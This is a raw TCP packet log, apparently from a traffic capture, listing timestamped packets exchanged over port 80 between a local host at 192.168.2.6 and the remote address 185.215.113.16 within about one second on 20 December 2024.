Dec 20, 2024 16:19:57.702066898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.702656984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.702776909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.702789068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.703421116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.703469038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.703541040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.703553915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.703600883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.704231977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.704365015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.704377890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.704421997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.705048084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.705096960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.705125093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.705138922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.705193043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.706032038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.706140995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.706152916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.706193924 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.706602097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.706697941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.706751108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.706763029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.706804991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.707372904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.707482100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.707494974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.707542896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.708137035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.708230019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.708259106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.708271980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.708318949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.708920002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.709211111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.709223986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.709264994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.709338903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.709873915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.709924936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.710051060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.710063934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.710161924 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.710782051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.710839987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.710875034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.710886955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.711007118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.711524010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.711632967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.711644888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.711679935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.712438107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.712450981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.712464094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.712503910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.712527037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.713061094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.713165998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.713177919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.713207960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.713860035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.713978052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.713990927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.714056969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.714601040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.714720011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.714732885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.715390921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.715481997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.715492964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.715507030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.715547085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.716181040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.716286898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.716300011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.716340065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.716948032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.717000008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.717077017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.717088938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.717147112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.717736959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.717830896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.717844963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.717919111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.883841991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.883912086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.883939028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.883970976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.884241104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.884258986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.884274960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.884311914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.884351015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.884876966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.886059046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.886135101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.886209011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.886230946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.886280060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.886707067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.886718988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.886730909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.886776924 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.887347937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.887531996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.887547016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.887594938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.887624025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.888040066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.888226032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.888237953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.888293982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.888763905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.888806105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.888942003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.888956070 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.888993979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.889642000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.889810085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.889822006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.889853001 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.890513897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.890531063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.890544891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.890588999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.891155005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.891339064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.891350985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.891393900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.892057896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.892070055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.892085075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.892128944 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.892160892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.892873049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.892888069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.892899990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.892940044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.893691063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.893796921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.893865108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.893877983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.893913031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.894371033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.894383907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.894438028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.894512892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.895126104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.895308018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.895328045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.895370960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.895523071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.895795107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.895977020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.895989895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.896039963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.896678925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.896866083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.896879911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.896929979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.896941900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.897375107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.897694111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.897706032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.897763968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.898152113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.898324966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.898338079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.898386955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.898401022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.898817062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.899149895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.899162054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.899204016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.899781942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.899837017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.900010109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.900022984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.900069952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.900512934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.900619030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.900630951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.900669098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.901479006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.901510954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.901546001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.901555061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.901597977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.902132988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.902318954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.902354956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.902390957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.902949095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.902983904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.903017998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.903022051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.903058052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.903095007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.903105974 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.903142929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.903382063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.903418064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.903467894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.905019045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.905668020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.905718088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.905812979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.906352997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.906428099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.906497002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.906532049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.906847954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.907239914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.907274961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.907322884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.907330036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.907407999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.907443047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.907479048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.907521963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.907556057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.907875061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.908046007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.908082008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.908119917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.908672094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.908735991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.908843994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.908879995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.908936024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.909473896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.909662962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.909698963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.909712076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.910330057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.910363913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.910387993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.910401106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.910444975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.910969019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.911144018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.911195993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:57.911221027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:57.957981110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.075248003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.075287104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.075303078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.075351954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.075486898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.075660944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.075679064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.075736046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.075774908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.076210976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.077526093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.077596903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.077630043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.077642918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.077691078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.077958107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.078291893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.078341007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.078368902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.078546047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.078558922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.078695059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.079150915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.079214096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.079255104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.079269886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.079319954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.079953909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.080075979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.080087900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.080121994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.080766916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.080948114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.080970049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.081017017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.081043959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.081479073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.081578970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.081590891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.081623077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.082248926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.082294941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.082376003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.082390070 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.082428932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.083035946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.083184958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.083198071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.083233118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.083827019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.083887100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.083930969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.083944082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.083986044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.084618092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.084707022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.084721088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.084743023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.085346937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.085511923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.085525036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.085596085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.086388111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.086401939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.086416006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.086458921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.086982965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.087037086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.087061882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.087075949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.087114096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.087790012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.087869883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.087882042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.088135958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.088522911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.088660955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.088673115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.088723898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.089303017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.089456081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.089469910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.089672089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.090045929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.090097904 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.090167999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.090181112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.090234041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:58.090873957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.090960979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:58.090974092 CET	80	49828	185.215.113.16	192.168.2.6
